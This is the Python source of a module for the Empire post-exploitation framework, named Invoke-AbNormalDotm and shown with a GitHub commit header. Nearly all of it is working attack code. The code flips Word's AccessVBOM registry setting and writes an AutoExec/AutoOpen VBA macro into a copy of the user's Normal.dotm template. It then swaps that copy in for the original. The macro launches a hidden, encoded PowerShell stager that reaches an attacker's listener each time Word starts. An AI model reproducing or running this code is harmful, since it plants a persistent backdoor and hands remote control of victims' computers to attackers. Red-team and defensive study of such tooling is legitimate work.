Matt Nelson
GitHub
commit
b7010b7f37
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Invoke-AbNormalDotm',
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# list of one or more authors for the module
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'Author': ['@0xbadjuju'],
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# more verbose multi-line description of the module
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'Description': ("Backdoor a users normal.dotm file that launches an Empire stager upon opening Word."),
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# True if the module needs to run in the background
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'Background' : True,
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# File extension to save the file as
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'OutputExtension' : None,
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# True if the module needs admin rights to run
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : False,
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# The minimum PowerShell version needed for the module to run
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'MinPSVersion' : '2',
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# list of any references/other comments
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'Comments': [
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'http://blog.netspi.com/',
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'http://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to deploy on.',
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'Required' : True,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'Cleanup' : {
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'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
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'Required' : False,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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listenerName = self.options['Listener']['Value']
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# staging options
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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cleanup = self.options['Cleanup']['Value']
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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launcher = launcher.replace("$", "`$")
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# read in the common powerup.ps1 module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-AbNormalDotm.ps1"
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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encScript = launcher.split(" ")[-1]
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if cleanup.lower() == 'true':
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script = "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;"
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script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 1){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 0;}else{return;}}};"
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script += "cd $env:APPDATA'\\Microsoft\\Templates\\';"
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script += "if(Test-Path normal.dotm.bak){"
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script += "mv -Force normal.dotm.bak normal.dotm;"
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script += "\"File Restored\""
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script += "}else{"
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script += "\"Backup normal.dotm not found\";}"
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return script
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script = "[System.Reflection.Assembly]::LoadWithPartialName(\"Microsoft.Vbe.Interop\") | Out-Null;"
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script += "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;"
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script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 0){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 1;\"Updated Registry`n\"}else{return;}}};"
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script += "cd $env:APPDATA'\\Microsoft\\Templates\\';"
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script += "$word = New-Object -ComObject Word.Application;"
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script += "\"Opening Word`n\";"
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script += "$word.visible = $false;"
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script += "cp Normal.dotm AbNormal.dotm;"
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script += "$doc = $word.Documents.Open(${env:APPDATA}+'\\Microsoft\\Templates\\AbNormal.dotm');"
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script += "$macro = $doc.VBProject.VBComponents.Add(1);"
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script += "$code = \n"
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script += "@\"\n"
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script += "sub AutoExec()\n"
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script += "Dim objShell As Object\n"
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script += "Dim objExecObject As Object\n"
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script += "Dim strScript As String\n"
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script += "strScript = \"powershell.exe -NoP -NonI -W Hidden -Enc \"\n"
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for i in range(0, len(encScript), 100):
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script += "strScript = strScript + \"" + encScript[i:i+100] + "\"\n"
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script += "Set objShell = CreateObject(\"WScript.Shell\")\n"
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script += "objShell.Run strScript\n"
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script += "end sub\n\n"
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#Probably superfluous
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script += "sub AutoOpen()\n"
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script += "AutoExec\n"
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script += "end sub\n"
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script += "\"@;"
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script += "$macro.CodeModule.AddFromString($code);"
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script += "$doc.Save();"
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script += "$doc.Close();"
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script += "$word.Quit();"
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script += "\"Wrote Macro`n\";"
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script += "\"Sleeping to wait for file to unlock\";"
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script += "Start-Sleep -s 10;"
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script += "mv Normal.dotm Normal.dotm.bak;"
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script += "mv AbNormal.dotm Normal.dotm;"
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script += "\"Finished\";"
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return script
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